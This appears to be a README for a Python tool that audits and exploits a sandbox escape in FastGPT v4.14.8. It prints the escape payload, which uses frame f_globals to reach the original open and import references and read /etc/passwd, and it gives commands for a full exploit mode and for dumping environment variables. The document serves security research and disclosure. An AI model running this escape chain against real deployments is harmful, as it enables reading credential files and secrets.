
أداة تدقيق سلسلة الهروب من بيئة الصندوق الرمل (Sandbox) في FastGPT باستخدام Python (مرتبطة بـ CVE-2026-32128، سلسلة فحص الإصدار v4.14.8)
أداة تدقيق سلسلة هروب صندوق الرمل (Sandbox Escape) لـ FastGPT Python.
تستلم عقدة "تنفيذ الكود" في سير عمل FastGPT كود Python الخاص بالمستخدم وتنفّذه داخل صندوق رمل مستقل. الحماية في الإصدار v4.14.8 هي طبقة Python خالصة (قائمة سوداء للوحدات + فحص AST + حارس open + حارس import)، وهذه الأداة تكشف وتتحقق من سلسلة تجاوز هذه الحمايات:
import inspect # inspect 不在 _DANGEROUS_STDLIB 黑名单
g = inspect.currentframe().f_back.f_globals # AST 检查不拦单下划线帧属性
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/main/%27/etc/passwd%27) # 模块全局暴露原始 open 引用
imp = g['_original_import'] # 模块全局暴露原始 __import__ 引用
| الإصدار | البنية | الحالة |
|---|
| v4.14.7 | NestJS + Fastify + seccomp | CVE-2026-32128 (إعادة تعيين stdout عبر fcntl) |
| v4.14.8 | Bun + Hono + worker.py | سلسلة الهروب الموثقة هنا، هروب كامل (أي ملف داخل الحاوية + حركة جانبية عبر الشبكة) |
| main | Go native chroot + seccomp | طبقة Python يتم تجاوزها أيضًا، ويبقى chroot كخط دفاع أخير يقيّد التنفيذ داخل الحاوية |
مكتبة قياسية فقط، Python 3.8+.
# 静态检测 worker.py 防护配置(不执行 payload)
python3 fastgpt-sandbox-audit.py --check
# 对真实 worker.py 跑完整逃逸链(读 /etc/passwd + 写文件)
python3 fastgpt-sandbox-audit.py --exploit
# 导出环境变量(前 20 个 key)
python3 fastgpt-sandbox-audit.py --dump
# 指定 worker.py 路径
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit
يحتاج --exploit إلى worker.py حقيقي (عملية Python worker الخاصة ببيئة FastGPT v4.14.8 صندوق الرمل)، ويقرأ افتراضيًا ./worker.py من الدليل الحالي، ويرسل الـ payload عبر بروتوكول JSON الخاص بـ stdin الخاص به ({"type":"init"} → {"type":"task","code":...}).
وضع --check يُخرج:
=== fastgpt-sandbox-audit: 防护配置检查 ===
[风险] inspect 不在 _DANGEROUS_STDLIB 黑名单 -> 可 import
[风险] AST 检查未拦截 f_globals 属性
[风险] 模块全局暴露 _original_open -> 可被 f_globals 窃取
[风险] 模块全局暴露 _original_import -> 可被 f_globals 窃取
[提示] worker.py 无 seccomp (4.14.8+ 纯 Python 防护)
هذه الأداة مخصّصة للبحث الأمني والاختبارات الأمنية ضمن النطاق المصرّح به فقط. قد يؤدي اختبار أنظمة الآخرين دون إذن إلى انتهاك القوانين واللوائح، وتتحمّل وحدك المسؤولية ذات الصلة.